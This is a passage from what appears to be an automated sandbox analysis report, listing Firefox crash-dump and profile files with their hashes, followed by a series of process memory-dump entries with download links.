T1FF228353878724B7AD5198C4BC30AE7C45EC6FAA61F958A802CC4D47FA468F81FB44F6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

730e2525-10e3-4e96-8305-8f1033541b6c.dmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\730e2525-10e3-4e96-8305-8f1033541b6c.dmp
Size 64KB
SHA256 bad13855592157226b448b1b0754b36cd5552c7c63aa06d3f307c7db2202a80e
MD5 de6cb8bed378ba1ae5cabda0cdb4bd72
SHA1 5e94f034cde2631aa106e1cfa6bbad2d7638abd9
SHA512 c763ebba0e2f537515dcc752552ae81fee153a36a5da24675d8fbef8be34671febed8a68dd52cfffd170e4de3dc09b5ce08fe2a27956b6db9651a4d6a074d4f2
SSDEEP 384:ym9oCzKBeeNUQ6IUO2JD3nCRca4H0M82V7bu:ybCzKU0h6If2JicamTzV7
TLSH
T1EE538C12F7B11867E261463955DFE7303BFAF911476383AB7A0052FA1FAA3406D71A23
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

730e2525-10e3-4e96-8305-8f1033541b6c.extra

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\730e2525-10e3-4e96-8305-8f1033541b6c.extra
Size 1KB
SHA256 ab6e7c367d9344eff33dd6e0f0d70fd20bdbabcff9eb2daa60c15d21174eefa7
MD5 558aa60e3b3eedaeefc519e9033afd52
SHA1 e657641cfa8cd234b9d04777a1373045df018318
SHA512 e43b178851857e9a4b8af6b2aefe6fc739f21f56de146b436a18cd900d2d4f19c852106d99c263d3987360bdb374088b6354a73b2adaa7af0db734de5475c3ed
TLSH
T1E23174B7829C3D62995789897B3E1302C9A9B72705D36D0D34CD4A4C428E0DC96279C3
MD5 SHA1 SHA512 TLSH

Submit Download

ad78db64-e06d-491e-bc1b-43395ad77984.dmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\ad78db64-e06d-491e-bc1b-43395ad77984.dmp
Size 66KB
SHA256 a96ffcec5a56f9e6053ffc95b76359c364493bf30b780f2b6a71fe5b5377781b
MD5 bf84105f74d0d71e61144996836eec93
SHA1 328f6592db803b9b27fc21e671ac963197f83d2d
SHA512 e26af8607ac092e7a13e8b084a43996d7c299b4f42c18becb6ed3a2dcabfee6528f8c9b8c9ca8224c64cc27bf45a50fa463a92d1f8a58cc544d7e8b516eb3c67
SSDEEP 384:bL1oudVUbKlvhlvplvSUq4YAZWDYOJjs6SKl9lXWguO81oQF65iXbu:baudV0qj7SIYAZsBf9FWPO8D
TLSH
T17463A4127BA58875E135663868E7E731BBFAFC109763537B234095BA2C723546CB0E23
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ad78db64-e06d-491e-bc1b-43395ad77984.extra

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\ad78db64-e06d-491e-bc1b-43395ad77984.extra
Size 10KB
SHA256 7d32ffbc12b27d5c0b379330b9b84781528ed1875ebb2076e682da3d7c4444f2
MD5 f3c7f8204d342713c85cd3315a649114
SHA1 361a4dd3e90c03c4895d324a126b8a6ba522c723
SHA512 61fd87c0b8bbf3a23a149c1b3aa13c4383917ffaed7a42c3525ee43c8e3264354ac12e2ef645c5da6dc2a14b48bb2e02bdb69797c6a08c368c191939d3341b28
SSDEEP 96:S7WCnTxbY6pw6FFFdW6H0Rh7CsevBb1d0tjMLlIrLlhTLlaXv7aBcBvtILI5qwvA:ShTJFLG7uvZ8JLqxsPpwl4zfoW
TLSH
T103229353878724B7AD5198C4BC30AE7C45EC6FAA61F958A802CC4D47FA468F81FB44F6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

c22d39f0-b52d-42d8-a4dd-21c6d5e47522.dmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\c22d39f0-b52d-42d8-a4dd-21c6d5e47522.dmp
Size 65KB
SHA256 aecced983c82e5c58b8a31788e0f833b823900f800d6fc80233b2712d4fde112
MD5 ff0cacf5f8e9eb977460a8252c4ec7e9
SHA1 90e36d10698c4f2a78b59b41547920e8422e84ca
SHA512 c534a7fbb8b90aa9427878d6e4988f1a3cc0b098422a45c54bc5e1dde864a4b17e57a8ea2ffc279d68ea7333dbf5cceeca68d354bbb98cb2b653afb28a0b11f2
SSDEEP 384:2/ZoMCG20ioTlvDlvYlvvU76WEvMjgP7KvpvIM3XZio1ZI4kbu:2SMCG20iot9AvN59PgXZioPtk
TLSH
T19463DC1AB7A13B65E169963854E7EF703BF6F8154B5343AB720052AE1C723447CB1E23
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

c22d39f0-b52d-42d8-a4dd-21c6d5e47522.extra

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\c22d39f0-b52d-42d8-a4dd-21c6d5e47522.extra
Size 10KB
SHA256 d5d4a67853c9d73c5c70de63cc31430a9be158cefe80917e26a51ad85c08ec78
MD5 23d4c6f62ce93a7508b9c8ebd6b48c34
SHA1 bfe7102d4e77b4c65d74a78d3394e79c356c60f5
SHA512 6a048c031db3caf475ef12d8e0970688c4300bacd6775ba3be899bdb6510133824b612d211c3e60c19c1ec01fb0bf4e187d99949b1a76f1d266b42b88bf54bc1
SSDEEP 96:S7WCBTxbY6pw6FFFdW6H0Rh7CTvBb1d0tjMLlIrLlhTLlaXv7a+cBvtILI5qwvED:ShxJFLG7WvZ8JL1xsPpwlHbfoJ
TLSH
T190227353878724B79D5198C4BC30AE7C45EC6FAA61F958A802CC4D47FA468F81FB44F6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

compatibility.ini

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\ho495kqa.default-release\compatibility.ini
Size 198B
SHA256 252b7fff962848c61092e82a3d87adca163849767713a93ab533bb397f1f53bb
MD5 ce9ef13caa8a74c25157b184aa038475
SHA1 db03a9935d8bb3ce6b120aca98feade536805160
SHA512 0f6f5053e78167ef5cc5fa70ed3a87dd116df0671a590299277a197341bed983e3d77e37ad2c33cd4afe880fab9ed1c7f7502210040617a01f97a81c1e1d4f29
TLSH
T1C1D022818BC7848C9D4AA8E4537C38086BF2EE0E0604492A32827F0B4164F09023C3F9
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1440-87-0x0000029236B60000-0x0000029236CF4000-memory.dmp

Download

memory/1760-9-0x0000000004F30000-0x0000000004F40000-memory.dmp

Download

memory/1760-4-0x0000000004F30000-0x0000000004F40000-memory.dmp

Download

memory/1760-1-0x0000000005290000-0x0000000005834000-memory.dmp

Download

memory/1760-2-0x0000000004D80000-0x0000000004E12000-memory.dmp

Download

memory/1760-3-0x0000000005840000-0x0000000005B94000-memory.dmp

Download

memory/1760-5-0x0000000004F60000-0x0000000004F6A000-memory.dmp

Download

memory/1760-0-0x00000000001F0000-0x0000000000384000-memory.dmp

Download

memory/1760-6-0x00000000050B0000-0x000000000514C000-memory.dmp

Download

memory/1760-7-0x0000000005BD0000-0x0000000005BF2000-memory.dmp

Download

memory/1760-8-0x0000000007030000-0x0000000007052000-memory.dmp

Download

memory/1760-10-0x0000000007050000-0x00000000071AA000-memory.dmp

Download

memory/1960-41-0x0000028820AD0000-0x0000028820AF2000-memory.dmp

Download

memory/4296-21-0x00000000051C0000-0x00000000051D0000-memory.dmp

Download

memory/4296-81-0x00000000065B0000-0x00000000065CE000-memory.dmp

Download

memory/4296-15-0x0000000000400000-0x00000000004BE000-memory.dmp

Download

memory/4296-64-0x0000000006140000-0x00000000061F2000-memory.dmp

Download

memory/4296-395-0x00000000051C0000-0x00000000051D0000-memory.dmp

Download

memory/4296-75-0x0000000006270000-0x00000000062E6000-memory.dmp

Download

memory/4296-76-0x00000000062F0000-0x0000000006340000-memory.dmp

Download

memory/4296-77-0x0000000006AC0000-0x0000000006FEC000-memory.dmp

Download

memory/4296-74-0x00000000063C0000-0x0000000006582000-memory.dmp

Download

memory/4296-22-0x0000000005F60000-0x0000000005FC6000-memory.dmp

Download

memory/4764-1374-0x0000000007F50000-0x0000000007F64000-memory.dmp

Download

memory/4764-1297-0x00000000720D0000-0x000000007211C000-memory.dmp

Download

memory/4764-1342-0x0000000007F10000-0x0000000007F21000-memory.dmp

Download

memory/4780-17-0x0000000004710000-0x0000000004720000-memory.dmp

Download

memory/4780-33-0x0000000005B20000-0x0000000005B6C000-memory.dmp

Download

memory/4780-23-0x0000000005420000-0x0000000005486000-memory.dmp

Download

memory/4780-67-0x0000000007070000-0x000000000707E000-memory.dmp

Download

memory/4780-66-0x0000000007040000-0x0000000007051000-memory.dmp

Download

memory/4780-65-0x00000000070C0000-0x0000000007156000-memory.dmp

Download

memory/4780-43-0x00000000060C0000-0x00000000060F2000-memory.dmp

Download

memory/4780-59-0x0000000006EB0000-0x0000000006EBA000-memory.dmp

Download

memory/4780-58-0x0000000006E40000-0x0000000006E5A000-memory.dmp

Download

memory/4780-57-0x0000000007480000-0x0000000007AFA000-memory.dmp

Download

memory/4780-53-0x0000000006CE0000-0x0000000006CFE000-memory.dmp

Download

memory/4780-69-0x0000000007180000-0x000000000719A000-memory.dmp

Download

memory/4780-70-0x0000000007160000-0x0000000007168000-memory.dmp

Download

memory/4780-20-0x0000000004D50000-0x0000000005378000-memory.dmp

Download

memory/4780-31-0x0000000005670000-0x00000000059C4000-memory.dmp

Download

memory/4780-56-0x0000000006D00000-0x0000000006DA3000-memory.dmp

Download

memory/4780-16-0x00000000021E0000-0x0000000002216000-memory.dmp

Download

memory/4780-45-0x00000000720D0000-0x000000007211C000-memory.dmp

Download

memory/4780-32-0x0000000005AF0000-0x0000000005B0E000-memory.dmp

Download

memory/4780-68-0x0000000007080000-0x0000000007094000-memory.dmp

Download

memory/4780-18-0x0000000004710000-0x0000000004720000-memory.dmp

Download

memory/5772-1582-0x0000000000EB0000-0x0000000000EB1000-memory.dmp

Download

memory/6604-1525-0x0000000005EB0000-0x0000000006204000-memory.dmp

Download

memory/6604-1580-0x00000000077B0000-0x0000000007853000-memory.dmp

Download

memory/6604-1571-0x00000000720D0000-0x000000007211C000-memory.dmp

Download

memory/6604-1604-0x0000000007A80000-0x0000000007A91000-memory.dmp

Download

memory/6604-1606-0x0000000007AC0000-0x0000000007AD4000-memory.dmp

Download